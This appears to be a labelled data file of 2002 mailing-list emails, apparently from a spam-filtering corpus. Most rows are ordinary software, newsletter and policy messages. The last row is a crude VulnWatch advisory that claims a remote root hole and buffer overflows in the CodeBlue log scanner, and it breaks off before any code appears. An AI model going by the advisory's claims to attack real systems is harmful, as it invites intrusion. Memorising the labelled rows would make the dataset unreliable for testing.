When a change (deletion or new contents) is propagated onto a 'follow'ed symlink, the file pointed to by the link is now changed. (We used to change the link itself, which doesn't fit our assertion that 'follow' means the link is completely invisible) o When one root did not exist, propagating the other root on top of it used to fail, becuase unison could not calculate the working directory into which to write changes. This should be fixed. * A human-readable timestamp has been added to Unison's archive files. * The semantics of Path and Name regular expressions now correspond better. * Some minor improvements to the text UI (e.g. a command for going back to previous items) * The organization of the export directory has changed --- should be easier to find / download things now. Changes since 1.200: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * This version has not been tested extensively on Windows. * Major internal changes designed to make unison safer to run at the same time as the replicas are being changed by the user. * Internal performance improvements. Changes since 1.190: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * A number of internal functions have been changed to reduce the amount of memory allocation, especially during the first synchronization. This should help power users with very big replicas. * Reimplementation of low-level remote procedure call stuff, in preparation for adding rsync-like smart file transfer in a later release. * Miscellaneous bug fixes. Changes since 1.180: * INCOMPATIBLE CHANGE: Archive format has changed. Make sure you synchronize your replicas before upgrading, to avoid spurious conflicts. The first sync after upgrading will be slow. * Fixed some small bugs in the interpretation of ignore patterns. * Fixed some problems that were preventing the Windows version from working correctly when click-started. * Fixes to treatment of file permissions under Windows, which were causing spurious reports of different permissions when synchronizing between windows and unix systems. * Fixed one more non-tail-recursive list processing function, which was causing stack overflows when synchronizing very large replicas. Changes since 1.169: * The text user interface now provides commands for ignoring files. * We found and fixed some more non-tail-recursive list processing functions. Some power users have reported success with very large replicas. * INCOMPATIBLE CHANGE: Files ending in .tmp are no longer ignored automatically. If you want to ignore such files, put an appropriate ignore pattern in your profile. * INCOMPATIBLE CHANGE: The syntax of ignore and follow patterns has changed. Instead of putting a line of the form ignore = in your profile (.unison/default.prf), you should put: ignore = Regexp Moreover, two other styles of pattern are also recognized: ignore = Name matches any path in which one component matches , while ignore = Path matches exactly the path . Standard ``globbing'' conventions can be used in and : + a ? matches any single character except / + a * matches any sequence of characters not including / + [xyz] matches any character from the set {x, y, z } + {a,bb,ccc} matches any one of a, bb, or ccc. See the user manual for some examples. Changes since 1.146: * Some users were reporting stack overflows when synchronizing huge directories. We found and fixed some non-tail-recursive list processing functions, which we hope will solve the problem. Please give it a try and let us know. * Major additions to the documentation. Changes since 1.142: * Major internal tidying and many small bugfixes. * Major additions to the user manual. * Unison can now be started with no arguments -- it will prompt automatically for the name of a profile file containing the roots to be synchronized. This makes it possible to start the graphical UI from a desktop icon. * Fixed a small bug where the text UI on NT was raising a 'no such signal' exception. Changes since 1.139: * The precompiled windows binary in the last release was compiled with an old OCaml compiler, causing propagation of permissions not to work (and perhaps leading to some other strange behaviors we've heard reports about). This has been corrected. If you're using precompiled binaries on Windows, please upgrade. * Added a -debug command line flag, which controls debugging of various modules. Say -debug XXX to enable debug tracing for module XXX, or -debug all to turn on absolutely everything. * Fixed a small bug where the text UI on NT was raising a 'no such signal' exception. Changes since 1.111: * INCOMPATIBLE CHANGE: The names and formats of the preference files in the .unison directory have changed. In particular: + the file ``prefs'' should be renamed to default.prf + the contents of the file ``ignore'' should be merged into default.prf. Each line of the form REGEXP in ignore should become a line of the form ignore = REGEXP in default.prf. * Unison now handles permission bits and symbolic links. See the manual for details. * You can now have different preference files in your .unison directory. If you start unison like this unison profilename (i.e. with just one ``anonymous'' command-line argument), then the file ~/.unison/profilename.prf will be loaded instead of default.prf. * Some improvements to terminal handling in the text user interface * Added a switch -killServer that terminates the remote server process when the unison client is shutting down, even when using sockets for communication. (By default, a remote server created using ssh/rsh is terminated automatically, while a socket server is left running.) * When started in 'socket server' mode, unison prints 'server started' on stderr when it is ready to accept connections. (This may be useful for scripts that want to tell when a socket-mode server has finished initalization.) * We now make a nightly mirror of our current internal development tree, in case anyone wants an up-to-the-minute version to hack around with. * Added a file CONTRIB with some suggestions for how to help us make Unison better. To unsubscribe from this group, send an email to: unison-announce-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Tue, 20 Aug 2002 02:00:28 +0000",[use Perl] Stories for 2002-08-20,"use Perl Daily Newsletter In this issue: * Call for Perl Monger T-Shirts at YAPC::Europe * This Week on perl5-porters (11-18 August 2002) +--------------------------------------------------------------------+ | Call for Perl Monger T-Shirts at YAPC::Europe | | posted by ziggy on Monday August 19, @08:53 (yapce) | | http://use.perl.org/article.pl?sid=02/08/19/1254219 | +--------------------------------------------------------------------+ [0]neophyte writes ""If you come to YAPC::Europe 2002, and you are a member of a Perlmonger group, and your group has its own t-shirts, then please bring one to YAPC::Europe for the auction. Show off the creativity of your group and give someone else the chance to have such a nice t-shirt as yours."" Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/19/1254219 Links: 0. mailto:niederrhein-pm@web.de +--------------------------------------------------------------------+ | This Week on perl5-porters (11-18 August 2002) | | posted by pudge on Monday August 19, @10:12 (summaries) | | http://use.perl.org/article.pl?sid=02/08/19/1230217 | +--------------------------------------------------------------------+ >>From sunny and hot and about to burst out in thunderstorms, downtown Echt, comes this weeks perl5-porters summary, brought to you by Elizabeth Mattijsen. This story continues at: http://use.perl.org/article.pl?sid=02/08/19/1230217 Discuss this story at: http://use.perl.org/comments.pl?sid=02/08/19/1230217 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 """Alexander Meis"" ",,"Tue, 20 Aug 2002 19:37:34 +0200",[SAtalk] SpamAssassin an Razor problem,"Hi.... i installed razor an SpamAssassin on an redhat 6.3 with a fresh per 5.8.0. when I install Mail::SpamAssassin using the CPAN the followin error in make test appears. t/forged_rcvd...........ok t/nonspam...............ok t/razor................. Test skipped: Razor is not installed. t/razor.................ok 2/2 skipped: Razor is not installed. t/reportheader..........ok How can i get the razor running with the SpamAssassin ? Thanks for helping Alex ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 karee ,blening@tstonramp.com,"Mon, 15 Jul 2002 13:02:24 -0700",Fwd: FC: Bush administration readies nationwide informant program,"Yea.. this isn't newsworthy... This is a forwarded message From: Declan McCullagh To: politech@politechbot.com Date: Sunday, July 14, 2002, 8:06:38 PM Subject: FC: Bush administration readies nationwide informant program ===8<==============Original message text=============== The link: http://www.citizencorps.gov/tips.html --- Date: Sun, 14 Jul 2002 20:59:54 +0000 From: ""J.D. Abolins"" Subject: Aussie paper: US planning to recruit one in 24 Americans as citizen spies Anybody ever heard of Pavlik Morozov? (If not see http://www.cyberussr.com/rus/morozov.html for a quick blurb about the fellow.) When I see proposals to mobilize American people into being eyes and ears fo the government, I am reminded of Pavilik and his family. Now I am not against people reporting certain things to the police. It is the habit of being constantly suspicious of neighbors, co-workers, and otehrs that can become destructive. Down the line it can lead to suspicions based not on significant clues but upon things such as ""fails to display sufficient respect for authority"", ""laughs whenever the phrase 'homeland security' is used"", and ""hangs out with anti-social misfits."" It is an all too easy slide from neighbors watching out for each and helping the community to becoming agents of the state. J.D. Abolins PS: Why is it that the most revealing news reports about the USA are coming nowadays form the UK, Aussie, and other non-USA media? -------------- From the Sydney Morning Herald Web site 15 July 2002 http://www.smh.com.au/articles/2002/07/14/1026185141232.html US planning to recruit one in 24 Americans as citizen spies By Ritt Goldstein July 15 2002 The Bush Administration aims to recruit millions of United States citizens as domestic informants in a program likely to alarm civil liberties groups. The Terrorism Information and Prevention System, or TIPS, means the US will have a higher percentage of citizen informants than the former East Germany through the infamous Stasi secret police. The program would use a minimum of 4 per cent of Americans to report ""suspicious activity"". Civil liberties groups have already warned that, with the passage earlier this year of the Patriot Act, there is potential for abusive, large-scale investigations of US citizens. As with the Patriot Act, TIPS is being pursued as part of the so-called war against terrorism. It is a Department of Justice project. Highlighting the scope of the surveillance network, TIPS volunteers are being recruited primarily from among those whose work provides access to homes, businesses or transport systems. Letter carriers, utility employees, truck drivers and train conductors are among those named as targeted recruits. A pilot program, described on the government Web site www.citizencorps.gov, is scheduled to start next month in 10 cities, with 1 million informants participating in the first stage. Assuming the program is initiated in the 10 largest US cities, that will be 1 million informants for a total population of almost 24 million, or one in 24 people. [...] ------------------------------------------------------------------------- POLITECH -- Declan McCullagh's politics and technology mailing list You may redistribute this message freely if you include this notice. To subscribe to Politech: http://www.politechbot.com/info/subscribe.html This message is archived at http://www.politechbot.com/ Declan McCullagh's photographs are at http://www.mccullagh.org/ ------------------------------------------------------------------------- Like Politech? Make a donation here: http://www.politechbot.com/donate/ ------------------------------------------------------------------------- ===8<===========End of original message text=========== -- Best regards, karee mailto:karee@tstonramp.com http://xent.com/mailman/listinfo/fork",0,1 Thomas Anders ,yyyy@spamassassin.taint.org,"Wed, 21 Aug 2002 08:54:56 +0200",Re: [Bug 704] spamd doesn't remove pid file on shutdown when running as non-root user,"bugzilla-daemon@hughes-family.org wrote: > http://www.hughes-family.org/bugzilla/show_bug.cgi?id=704 > ok, this is now fixed. cheers! How did you fix it? By creating the pidfile as the ""-u"" user? If so, you should add this to the documentation since it prevents the use of the standard /var/run directory (which is only writable by root). +Thomas -- Thomas Anders Hahn-Meitner-Institut Berlin, Germany",0,1 Frank Burkhardt ,yyyy@spamassassin.taint.org,"Wed, 21 Aug 2002 11:17:46 +0200",spamassassin mailbox delivery problem,"Hi, when testing spamassassin, i found a little problem but I don't know if it's spamassassin or my pop3-server that caused it. Pop3-servers seem to expect a blank line before ""From ""-lines to seperate mails in a mailbox-file. Spamassassin does not add such a blank line before mails delivered directly to mailbox. Result is that the pop3-server (tested with qpopper4 and cucipop) delivers some mails glued together. I think the solution is to write a blank line to the mailbox befor spamassassin adds the filtered mail. Please tell me if you're not the right man for this, if i'm totally wrong or if you're sure, the pop3-server shouldn't insist on a blank line before ""From ""-lines. Thank you. PS: Mailserver ist postfix-1.1.11 Regards, -- Frank Burkhardt phone: +49 341 9940-142 fax : +49 341 9940-221 Max Planck Institute of Cognitive Neuroscience /""\ Muldentalweg 9 \ / ASCII Ribbon Campain 04828 Bennewitz, Germany X against HTML Mail / \",0,0 """Craig R.Hughes"" ",yyyy@spamassassin.taint.org (Justin Mason),"Tue, 20 Aug 2002 11:14:50 -0700",Re: [SAtalk] results for giant mass-check (phew),"On Tuesday, August 20, 2002, at 07:23 AM, Justin Mason wrote: >> The compensate rule USER_AGENT should go or at least score >> very low; with >> it, a spammer just has to include a header like > > BTW, the scores are irrelevant right now (unless the test is > going to have > a non-GA'd score). The GA should reduce ""easy"" ones, and if it > doesn't, > after the GA run is the time to comment. Don't pay any > attention to them! > ;) Remember that the GA is going to be considering combinatorial uses of the rules, so rules which look dodgy on their own might be gems for the GA -- perhaps something with a S/O ratio of .5 actually occurs often in combination with some other rule, and in those situations, helps to distinguish spam vs nonspam. C ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? 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The CAMPAIGN FOR DIGITAL RIGHTS published its first in-depth analysis of the EUCD. For this exciting installment, CD-R has concentrated on what it does to people who have to circumvent copy protection to do their job. The short summary is: if they're not a teacher, a prison warder, disabled, or the cops, they can forget their jobs. If you're anyone else - like a musician, or a cryptographer - and the copy protection says you can't make a backup, you can't. And even if you *are* a teacher or other exceptional person, you'll have to ask the Secretary of State if you can crack the protected CD. In writing. Each time. http://uk.eurorights.org/issues/eucd/ukimpl/ - oh, don't worry, it gets worse http://www.stand.org.uk/weblog/archive/2002/08/21/000243.php - what you can do to stop all this But there's plenty more to ooze out of the law than that. One of the big questions about the EUCD is ""is it the European DMCA, or what?"". Well, the DMCA spurted bad juice in many different directions, but one way in which the two are similiar is over ""circumvention devices"". Distributing DeCSS, the DVD lobby have claimed, is a crime under the DMCA. DeCSS is code that was also a magically dangerous artifact: a circumvention device. Circumvention devices are about to become illegal here. Specifically, three months in chokey (or two years if you really nark the judge), for those who ""distribute otherwise than in the course of a business to such an extent as to affect prejudicially the copyright owner"" one of them. ""Otherwise in the course of business"" is legalese for ""as an ordinary punter"", so it's not just mod-chip sellers who are liable. Anyone who distributes such satanic machines is also a perp. http://www.stand.org.uk/weblog/archive/2002/08/21/000243.php - what you can do to stop all this That's not going to go down well with ANDREW SIMMONS. Regular NTK readers will remember Andrew as a lightning rod to lawyers. Not only was he John Doe #13 in the American DeCSS case, but in a completely unrelated affair, he waws threatened with all manner of nastiness just for publishing his list of doomed dotcoms on his Website [NTK 2000-09-22]. In the last week, he's had another letter via Demon, finally ordering him to remove his shiny ""circumvention device"" (aka DeCSS) from his site. It sounds like the lawyers may have shot their wad a tad early: the EUCD rules don't kick in until Christmas. But when the new laws do hit, and if what Andrew's preposterous correspondent says is believed in a UK court, hosting DeCSS *will* mean jail. There's been some talk about how the EUCD rules are better than the DMCA, because they specifically exclude computer programs from the new rules. Well, it looks like DeCSS is no longer just a computer program. From now on, it could become a special ""nick me"" tag for your Website. http://www.xenoclast.org/free-sklyarov-uk/2002-August/002923.html - here we go again http://www.stand.org.uk/weblog/archive/2002/08/21/000243.php - CLICK ON THE DAMN LINK >> ANTI-NEWS << berating the obvious surely approaching the end of the PUERILE GOOGLE MISSPELLINGS soon: http://www.google.com/search?&q=%22penny+farting%22 vs http://groups.google.com/groups?q=%22whitewater+farting%22 - we suspect some people are using ""poofreading"" deliberately, but probably not ""potable document format"", or the enigmatic: http://www.google.com/search?q=%22To+Be+Set+Browser+Caption%22 ... presumably meant ""interfaith"" (unless of course they're Mac loyalists): http://www.ntk.net/2002/08/23/dohfaith.gif ... banner ads haven't been getting any less inappropriate either: http://www.ntk.net/2002/08/23/dohcruz.gif ... A Keyboard, Yesterday: http://news.bbc.co.uk/1/hi/technology/2208216.stm ...""A levles"" in ""Phisics, Information Technoligies, Languges"": www.elance.com/c/fp/main/viewprofile.pl?view_person=insspirito&catid=10231 ... ""Alcohol makes others better-looking"" - scientists' shock finding: http://www.msnbc.com/news/796225.asp ... not judging them or anything: http://www.ntk.net/2002/08/23/dohsin.gif ... experience required in handling the *really* big accounts: http://www.ntk.net/2002/08/23/dohgod.gif ... >> EVENT QUEUE << goto's considered non-harmful Is it just us, but just 5 years after Lara Croft appeared on the cover of ""The Face"", could it be that the PlayStation is now even cooler than ever? As if anyone had any doubts, next week's PLAYSTATION EXPERIENCE (from Thu 2002-08-29, Earl's Court, London) features exclusive demos of imminent releases, teen band ""Blazing Squad"", skateboarding, BMXing, plus DJ sets from the likes of XFM bootleggers James Hyman and Eddie Temple-Morris. And, best of all, Sony are charging you a mere UKP8 (plus booking fee) for the privilege of allowing them to market all their upcoming titles to you. http://www.ects.co.uk/pressmore.html?type=1&articleID=43 - still, Gareth ""Gaz Top"" Jones is hosting the ECTS awards http://www.caextreme.org/ - coin-op collectors hit San Jose in 2 weeks' time http://www.cobd.co.uk/yakfestpage.htm - Llamasoft all-dayer in Oxford pub end of Sep http://www.frightfest.co.uk/programme2002.html - this weekend: horror film fest in London, with ""Lupo"" >> TRACKING << sufficiently advanced technology : the gathering The crazy counterintuitive conditional probability world of BAYES THEOREM has a reputation for making judges look stupid in DNA-testing murder cases, and search-engines look even stupider when they suggest ""relevant documents"" - but it's getting a bit of a re-renaissance in the spam filtering world. Tradition states Naive Bayesian alone doesn't work well enough at filtering by example, so it's good to see dozens of people independently sloshing around the noospere looking for better tweaked solutions. Including, of course, leading noosphere cadet ERIC S RAYMOND, whose Bayesian BOGOFILTER is fast, has extra smarts, and is up to version 0.2. Unfortunately, as with Raymond's abandoned kernel configurator and recent anti-gay anti-islam anti-vegetable rants, it requires taking on board just a *bit* too much extra baggage to really take off. Rennies' IFILE around has been around for a while, and has support for MH and mutt. Gary Arnold's BAYESPAM is something he knocked up in Perl for qmail; a good start if you want to try this yourself. Which you should, because nobody's cracked it yet. http://www.paulgraham.com/spam.html - what i did after i invented another new language http://www.sjdm.org/mail-archive/jdm-society/2000-November/002244.html - so, given a probability of 1% that a judge has understood Bayes before http://tuxedo.org/~esr/bogofilter/bogofilter.html - of course some say the bogofilter should be on ESR's outgoing mail http://www.ai.mit.edu/~jrennie/ifile/ - leading by example http://www.garyarnold.com/projects.php#bayespam - ""Don't hurt me, I'm a C programmer!"" >> MEMEPOOL << ceci n'est pas une http://www.gagpipe.com/ worth it for the elaborate assembly instructions/ blank page excuses alone: http://www.log.dial.pipex.com/things/ ... http://news.yahoo.com/news?tmpl=story2&u=/nm/20020822/ts_nm/bush_dc_14 vs http://www.theonion.com/onion3724/bush_vows_to_remove.html ... be a bit funnier if it read them out in her voice as well: http://homepage.ntlworld.com/l_tabraham/jbrr.htm ... hey, in future, why not try sending us these while they're still vaguely topical?: http://www.chthonic.f9.co.uk/24/ vs http://thesurrealist.co.uk/24/ ... When Audiophiles Attack #5 (or #6?) - THE QUANTUM PURIFIER: http://www.bybeetech.com/ vs http://www.showandtellmusic.com/pages/galleries/gallery_q/morse.html ... when oh when will the bloggers tire of putting a new word in front of ""chalking""?: http://zapatopi.net/psychalking.html ... just one small step closer to ""Star Trek"" warp drives: http://physicsweb.org/article/news/6/8/11/ ... doing well for ""teaser openings"": http://humanity.berlios.de/usr-bin-perl/ ... CRONENBERG to direct (one of two) upcoming JUDGE DREDD movies?... bloody students: http://www.elve.net/rtips0b.htm ... >> GEEK MEDIA << get out less TV>> the week's late-night sci-fi selection starts off with Yul Brunner 1970s post-apocalyptic beat-em-up THE ULTIMATE WARRIOR (12.40am, Fri, C5), John ""The Last Seduction"" Dahl's bonkers brainscanner UNFORGETTABLE (2.05am, Fri, C4), and the seems-to-last-an-eternity STARGATE (11.05pm, Sat, BBC1)... the BBC have swiftly replaced the advertised showing of serial killer psycho-profiler ""Messiah 2"" with repeats of THE LOST WORLD (9.15pm, Sat, BBC1)... and, considering what came after, AMERICAN PIE (9.05pm, Sat, C4) may be eventually regarded as one of the great teen movies of all time... it's a double- Arnie fertility-horror double-bill in TWINS (6.20pm, Sun, BBC1) and JUNIOR (4.50pm, Mon, BBC1)... Nell McAndrew and Rhona Cameron contribute to a slightly vague interpretation of ""celebrity"" in I'M A CELEBRITY - GET ME OUT OF HERE! (8pm, Sun, ITV)... WHEN [DIANA] DIED - DEATH OF A PRINCESS (9pm, Sun, C4) contains ""scenes of nudity and religious ritual"" - funny what people find offensive nowadays ... and Jeff ""Tron"" Bridges plays the other half of that K-Pax double-act in STARMAN (2.30pm, Mon, C5) - all together now: ""You don't understand, Mrs Hayden: that *thing* is no longer your husband!""... archaeology imitates ""Coneheads"" in ANCIENT MURDER MYSTERY: RIDDLE OF THE CONE-SHAPED SKULLS (8pm, Mon, C5)... odd scheduling for Bill Murray's kid-friendly identity mixup THE MAN WHO KNEW TOO LITTLE (11.05pm, Tue, BBC1)... and if only they'd got hold of Tim Burton's recent ""reimagining"" to show after the run of BATTLE FOR/ FAREWELL TO/ BACK TO THE PLANET OF THE APES (1.30pm, Tue-Thu, ITV), you could have watched the franchise deteriorate before your very eyes... FILM>> good to see Time Magazine's staff staying cool long enough to publish their final ""Humanity Doomed"" collectors' edition for the backstory of ""X-Files"" director Rob Bowman's ""2000AD""-style Brit-set monster apocalypse REIGN OF FIRE ( http://www.capalert.com/capreports/reignoffire.htm : ""Here's to evolution!""; many deaths by incineration; child permitted in hardhat construction area; massive tattoos)... it's Martin ""Bad Boys"" Lawrence and Academy Award nominee Tom ""In The Bedroom"" Wilkinson - together at last! - in funnier-than- you'd-expect ""Galaxy Quest""/""A Knight's Tale"" hybrid BLACK KNIGHT ( http://www.screenit.com/movies/2001/black_knight.html : [Lawrence] does all sorts of mugging and facial contortions at the camera that some kids might want to imitate; we hear the King fart at dinner; some kids might want to imitate all of the action-based fighting that occurs)... or there's badfilm stalwart Heather Graham and ""My Cousin Vinny"" Academy Award winner Marisa ""In The Bedroom"" Tomei in clumsy Bollywood porn comedy pastiche THE GURU ( http://www.bbfc.co.uk/ : Contains strong sex references and language)... DRESS DOWN FRIDAY>> after an unexpected 3-month hiatus - because, hey, who buys t-shirts in the summer? - NTK's online store is back to full strength at http://www.geekstyle.co.uk/ and now features lengthy explanations of exactly what PayPal will attempt to charge you. Also new this month: lots of designs now available in XXL, including the ever-popular 404 /SHIRT/TIE NOT FOUND, a glow-in-the-dark variant of the ZX font BORN TO RUN one, plus slightly more limited numbers of the arcade-style HI-SCORE TABLE and the last few remaining souvenirs from June's EXTREME COMPUTING show. Oh and copies of Mark Bennett's BLACK ICE magazine (for just US$7 plus postage and packing) - Brighton's very own answer to ""Mondo 2000""... meanwhile, your entries have continued to flood in, a leading contender being CHRIS HOWE's possibly Designers-Republic- influenced http://www.geekstyle.co.uk/images/chrismessiah.gif - though his email address appears to have changed recently, so if anyone knows where he is, could you ask him to get in touch? We also enjoyed JAMES SWIFT's politically motivated http://www.3dengineer.com/tshirts/privacylogged.gif , BRUCE's heartfelt http://www.growf.org/shirts/crack.gif , and ASHLEY POMEROY's whimsical http://www.ashleypomeroy.com/arpshirts.gif - but remained puzzled by people sending us what appear to be parodies of our existing parody designs, from OWAIN KENWAY's http://www.angelfire.com/scifi2/dsky/1337spotting.html through to JOF's http://www.overhope.org.uk/misc/revolution.jpg and PAUL ""THE FRIDAY THING"" CARR's perhaps over-self-explanatory: http://www.geekstyle.co.uk/images/tft-shirt.jpg . And if your design skills aren't up to this high standard, you can of course just mail us a text slogan, so long as it's at least as funny as SIMON LIPSON's ""NTK: ROTFL meets ROT-13"", ANDREW SIMMONS' ""NTK: Notes you don't want to save, and for link evaluation"", or PHIL SOUTH's ""Frieze - Marther - Farquhar"" - but designed to look like it's the name of a law company!... meanwhile, the http://www.geekstyle.co.uk/images/ gallery reveals the ""Buy One, Subvert The Mass Media, Get One Free"" contest to be hotting up once again, as 25-year-old web designer GRAEME DAVISON ""just happened"" to be wearing the shirt that spells ""fuck"" in ASCII URL-encoding when he was photographed by THE NORTHERN ECHO about his trip to see ""Attack Of The Clones"" open in LA. Even though this was only a local newspaper, the judging panel felt he deserved the full prize (of another t-shirt), as the story goes on to cover the ostensibly pointless nature of the entire exercise. That's the kind of product placement that money just can't buy... >> SMALL PRINT << Need to Know is a useful and interesting UK digest of things that happened last week or might happen next week. You can read it on Friday afternoon or print it out then take it home if you have nothing better to do. It is compiled by NTK from stuff they get sent. Registered at the Post Office as ""geeks"", apparently http://anews.co.uk/ NEED TO KNOW THEY STOLE OUR REVOLUTION. NOW WE'RE STEALING IT BACK. Archive - http://www.ntk.net/ Unsubscribe? Mail ntknow-unsubscribe@lists.ntk.net Subscribe? Mail ntknow-subscribe@lists.ntk.net NTK now is supported by UNFORTU.NET, and by you: http://www.geekstyle.co.uk/ (K) 2002 Special Projects. Copying is fine, but include URL: http://www.ntk.net/ Tips, news and gossip to tips@spesh.com All communication is for publication, unless you beg. Press releases from naive PR people to pr@spesh.com Remember: Your work email may be monitored if sending sensitive material. Sending >500KB attachments is forbidden by the Geneva Convention. Your country may be at risk if you fail to comply.",0,1 Mark Renouf ,Cypherpunks ,"Wed, 24 Jul 2002 09:05:23 -0400",Defcon key-signing party,"Anyone interested in a pgp/gpg key-signing get-together @ DC, please email me your key info (name, key ID, type, size, fingerprint), and I will add you to the list. If you don't have a PGP key, now is a great time to make one. Want to find out more about PGP? You can get the software from: PGPfreeware GnuPG (GPG) Bring the following: * Photo ID (your name must be in your key identity) * A printed copy of your key ID, key type, fingerprint, and key size I will pass out a master list (from what people send me now). Then individually we will cross-validate eachothers identities and keys. It works like this: person A tells B the details of their key (from their personal copy of the key info). Person B confirms that the key information on the master list matches. Next person A produces photo ID for person B. If it proves that person A is the owner of the key, then person B can check off that person on their list. The reverse is then done for person B. After a while you will end up with a list full of (hopefully) checked names. Later on, you can retrieve a copy of the key either from a keyserver or directly from the owner, verify it's valid (it matches the checked off name on your copy of the master list), and sign it using your private key. Then you can upload your signature of the key to a key server and send a copy back to the key's owner to add to thier keyring. ID: Mark Renouf Size: 2048 Type: DH/DSS KeyID: 0xF888F464 Fingerprint: 9CE7 98DD E14E 8B9C 7109 2798 C18D 83A9 F888 F464 --DeathToSpamDeathToSpamDeathToSpam-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-Sightings mailing list Spamassassin-Sightings@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings",0,1 Kevin Gagel ,"Theo Van Dinter ,","Wed, 24 Jul 2002 09:15:53 -0700",Re: [SAtalk] Spam through - insanefunnies - clairification of X-Spam-Status fi elds?,"Amis-v or there is another prefs file that SA is using. I had a heck of a time figuring out where to find my site wide file because of my configuration. If your using spamd and you want your users to have some control using user_prefs then check their ~/spamassassin file. If your using spamd and you have a site wide only policy then make sure that spamd is started with the -x option. If you used the -x option then the only place that it should get the rules from would be from the local.cf in the /etc/mail/spamassassin directory. Assuming a default install. Theo Van Dinter wrote: > > On Wed, Jul 24, 2002 at 10:18:28AM -0500, Stewart, John wrote: > > X-Virus-Scanned: by amavisd-new amavisd-new-20020630 > > X-Spam-Status: No, hits=6.5 tagged_above=5.1 required=6.9 tests=PLING, > > MONEY_BACK, CLICK_BELOW, POR > > N_14, CLICK_HERE_LINK, FREQ_SPAM_PHRASE > > X-Razor-id: d92173a8dfc60567e55efcf6bf264fd7f7a7369a > > > > Doesn't hits=6.5 mean that it should be tagged as spam? Why the > > X-Spam-Status of no then? > > required is 6.9, it only scored 6.5, so it's not spam according to SA. > > > Why is required=6.9 if I have required_hits at 5 in the local.cf? Where the > > heck does that number come from? > > > > Also, what is tagged_above=? I cannot find any information about it on the > > SpamAssassin site. > > Good questions... ""tagged_above"" doesn't appear anywhere in SA (at > least according to `find`). I would guess it's amavis doing some > hacking around. > > -- > Randomly Generated Tagline: > D'oh! English! Who needs that? I'm never going to England. Come on, > let's smoke. > > -- Homer Simpson, talking Barney into cutting class > The Way We Was > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Spamassassin-talk mailing list > Spamassassin-talk@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/spamassassin-talk -- ======================== Kevin W. Gagel Network Administrator College of New Caledonia gagel@cnc.bc.ca postmaster@cnc.bc.ca (250)562-2131 loc. 448 ======================== -------------------------------- The College of New Caledonia Visit us at http://www.cnc.bc.ca -------------------------------- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Hess, Mtodd, /mth"" ","Wed, 24 Jul 2002 17:14:07 +0100",Re: [SAtalk] Graphics-only spam?,"""Hess, Mtodd, /mth"" said: > I hate to bring this up, but I see more and more spams that contain very > little, if any, text. Instead, most of the spam text is in a graphic image. > How will we be able to detect those as spam? OCR? or, alternatively, giveaway patterns in the HTML? That's what's happening with most obfuscating techniques the spammers are trying -- they become a very reliable sign of spam in themselves! --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Demi Sex God from Hell ,vulnwatch@vulnwatch.org,"Thu, 25 Jul 2002 02:05:00 +1000 (EST)",[VulnWatch] Remote hole in Codeblue log scanner,"TITLE: Potential remote root in CodeBlue log scanner NAME: DEMI SEX GOD FROM HELL ADV 00001 DATE: YES, PLEASE MAIL ME IF YOU ARE FEMALE (send pictures) CRAZY TRACKING NUMBER THAT MAKES IT LOOK LIKE I HAVE SOME MASSIVE DATABASE OF JUAREZ: 7363A64B02 Props to dme@#! Information ----------- you may remember me from sweaty nights of passion, or perhaps from yesterday when i announced the release of a piece of software i wrote (many years ago too btw). in general i received no feedback from this, cept from one guy having problems downloading it (howd that go btw?) and then this: From: ""Michael"" To: ""'Demi Sex God from Hell'"" Subject: RE: ass the attack spoofing shell Annoying. Pointless. well! how very very rude. that really was uncalled for. (propz to dme yo!). gay, bi or curious, i went to find out more about mystical michael, who is obviously very important as he is the only one who felt the need to tell me they didnt like me. it turns out, hes a bit of programmer, with some code available on his website (www.tenebrous.com). I got codeblue, (btw mystical mike your auto-download script for you counter gives me a 500 error), a log checking utility mystical mike wrote and released under the GNU GPL to make the world a better place. If this tool is run as root (say nightly from roots crontab) there is a potential remote root. in any case, regardless of user, there is always a remote. if codeblue is locally suid, theres many overflows all throughout it, easy peasy like the girls in st patricks!!!. Note st patricks is a great place in sydney, playground of the rich and famous. visit it if you ever visit sydney, tell them i sent you. so lets have a walk through the code, and get a feel for mystical mike, the man behind the mystic. (do you wear a crazy robe with a hood like a monk mike?) $ cd codeblue $ ls CHANGES COPYING Makefile README codeblue.c $ head COPYING GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble /* uh-oh */ $ vi codeblue.c /* * $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 * root Exp root $ * ****************************************************************************************** * -[ G O D B 